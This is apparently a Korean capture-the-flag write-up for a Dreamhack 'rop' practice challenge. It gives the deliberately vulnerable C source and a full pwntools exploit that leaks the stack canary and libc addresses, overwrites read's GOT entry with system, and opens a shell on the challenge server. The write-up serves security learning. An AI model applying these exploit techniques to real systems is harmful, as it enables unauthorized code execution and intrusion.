rop(Bypass NX & ASLR)
rop(Bypass NX & ASLR)
문제 정보
- Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.
풀이
문제 파일은 다음과 같다.
- rop.c
- rop
- libc-2.27.so
- Dockerfile
checksec으로 rop 바이너리 파일을 확인해 본 결과 CANARY, NX, ASLR의 보호기법이 적용되있는 것을 알 수 있다.
rop.c의 코드는 다음과 같다.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
코드를 살펴보면 다음과 같이 첫 번째 입력 값에 canary를 릭하고 두 번째 입력 값에 ROP 공격을 수행하라고 친절히 주석에 나와있다. 또한 system 함수와 “/bin/sh” 문자열이 없어 셸코드를 직접 호출할 수 없다.
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
rop.py 파일을 만들고 카나리를 우회하는 익스플로잇을 작성하면 다음과 같다.
from pwn import * #pwntools import
p = process("./rop") #exploit binary
def slog(name, addr):
return success(": ".join([name, hex(addr)])) #name과 16진수addr 출력
e = ELF("./rop") #e 변수에 rop바이너리의 ELF 저장
buf = b"A"*0x39 #canary leak
p.sendafter("Buf: ", buf) #Buf: 까지 받아오고 buf 전송
p.recvuntil(buf) #buf까지 받아오기
cnry = u64(b"\\x00"+p.recvn(7)) #첫 널문자 + 7개 바이트 받아와 패킹 후 cnry에 저장
slog("canary", cnry) #canary 주소 출력
익스플로잇 수행 결과 canary 값이 잘 나오는 것을 확인할 수 있다.
다음으로 system 함수의 주소를 계산해야 하는데 문제 파일에서 libc-2.27.so 파일을 받았기 때문에 이 파일을 사용해서 system 함수와 read 함수의 오프셋을 다음처럼 구할 수 있다.
from pwn import *
libc = ELF("./libc-2.27.so")
read_system = libc.symbols["read"]-libc.symbols["system"]
puts와 pop rdi; ret 가젯을 구해서 read 함수의 GOT를 읽고 system 함수의 주소를 구해야 하기 때문에 가젯을 구하면 다음과 같다.
pwntools의 ELF.symbols 이라는 메소드를 이용해 익스플로잇 코드를 작성하면 다음과 같다.
from pwn import * #pwntools import
p = process("./rop") #exploit binary
def slog(name, addr):
return success(": ".join([name, hex(addr)])) #name과 16진수addr 출력
e = ELF("./rop") #e 변수에 rop바이너리의 ELF 저장
libc = ELF("./libc-2.27.so") #libc 변수에 사용하는 libc 파일 저장
buf = b"A"*0x39 #canary leak
p.sendafter("Buf: ", buf) #Buf: 까지 받아오고 buf 전송
p.recvuntil(buf) #buf까지 받아오기
cnry = u64(b"\\x00"+p.recvn(7)) #첫 널문자 + 7개 바이트 받아와 패킹 후 cnry에 저장
slog("canary", cnry) #canary 주소 출력
read_plt = e.plt['read'] #read_plt 주소
read_got = e.got['read'] #read_got 주소
puts_plt = e.plt['puts'] #puts_plt 주소
pop_rdi = 0x00000000004007f3 #rdi 가젯 주소
pop_rsi_15 = 0x00000000004007f1 #rsi 가젯 주소
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8 #buf+dummy + canary + sfp (카나리 우회)
payload += p64(pop_rdi) + p64(read_got) #처음 인자인 rdi 값에 read_got 대입
payload += p64(puts_plt) #인자가 read_got인 puts 함수 출력
p.sendafter("Buf: ", payload) #Buf: 까지 받아오고 payload 전송
read = u64(p.recvn(6)+b"\\x00\\x00") #read_got 주소는 8바이트이므로 뒤에 널문자 2개 붙여서 언패킹
lb = read - libc.symbols["read"] #libc베이스주소 = read_got - libc.read주소
system = lb + libc.symbols["system"] #system주소 = libc베이스 + libc시스템주소
slog("read", read) #read주소 출력
slog("libc_base", lb) #libc베이스주소 출력
slog("system", system) #system주소 출력
익스플로잇 결과 다음과 같이 canary, read, libc_base, system 값이 잘 나온 것을 확인할 수 있다.
다음으로 read_got 함수를 덮어쓰기 위해 두 번째 인자를 read_got로 설정해서 호출한다. 그리고 여기서 이해하기 참 어려웠는데 한 번 더 read 함수를 호출해 맨 밑에 우리가 적어줄 문자열의 위치는 read_got 부분의 0x8만큼 뒤에 있기 때문에 인자를 read_got+0x8로 설정한다음 read 함수를 호출한다. 그 후 system 함수를 패킹하고 거기에 “/bin/sh\x00”을 넣어서 보내면 system(”/bin/sh”)를 출력한 값과 같아진다.
from pwn import * #pwntools import
p = remote("host3.dreamhack.games", 9592) #exploit server
def slog(name, addr):
return success(": ".join([name, hex(addr)])) #name과 16진수addr 출력
e = ELF("./rop") #e 변수에 rop바이너리의 ELF 저장
libc = ELF("./libc-2.27.so") #libc 변수에 사용하는 libc 파일 저장
buf = b"A"*0x39 #canary leak
p.sendafter("Buf: ", buf) #Buf: 까지 받아오고 buf 전송
p.recvuntil(buf) #buf까지 받아오기
cnry = u64(b"\\x00"+p.recvn(7)) #첫 널문자 + 7개 바이트 받아와 패킹 후 cnry에 저장
slog("canary", cnry) #canary 주소 출력
read_plt = e.plt['read'] #read_plt 주소
read_got = e.got['read'] #read_got 주소
puts_plt = e.plt['puts'] #puts_plt 주소
pop_rdi = 0x00000000004007f3 #rdi 가젯 주소
pop_rsi_15 = 0x00000000004007f1 #rsi 가젯 주소
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8 #buf+dummy + canary + sfp (카나리 우회)
payload += p64(pop_rdi) + p64(read_got) #처음 인자인 rdi 값에 read_got 대입
payload += p64(puts_plt) #인자가 read_got인 puts 함수 출력
payload += p64(pop_rdi) + p64(0) #rdi인 첫 번째 인자 설정
payload += p64(pop_rsi_15) + p64(read_got) + p64(0) #rsi인 두 번째 인자를 read_got로 설정
payload += p64(read_plt) #read함수 호출
payload += p64(pop_rdi) #rdi 첫 번째 인자 설정
payload += p64(read_got+0x8) #밑에서 쓸 문자 "/bin/sh\\x00" 주소 설정
payload += p64(read_plt) #read함수 호출
p.sendafter("Buf: ", payload) #Buf: 까지 받아오고 payload 전송
read = u64(p.recvn(6)+b"\\x00\\x00") #read_got 주소는 8바이트이므로 뒤에 널문자 2개 붙여서 언패킹
lb = read - libc.symbols["read"] #libc베이스주소 = read_got - libc.read주소
system = lb + libc.symbols["system"] #system주소 = libc베이스 + libc시스템주소
slog("read", read) #read주소 출력
slog("libc_base", lb) #libc베이스주소 출력
slog("system", system) #system주소 출력
p.send(p64(system)+b"/bin/sh\\x00") #system 함수 호출
p.interactive() #셸 실행
이렇게 익스플로잇 코드를 다 짜고 실행하면 다음과 같이 system(”/bin/sh”)가 실행되면서 NX와 ASLR 보호 기법이 설정되어 있으면서 system 함수와 /bin/sh 문자열이 바이너리 코드에 없을 때 가젯을 이용하여 우회하는 방법을 알 수 있었다.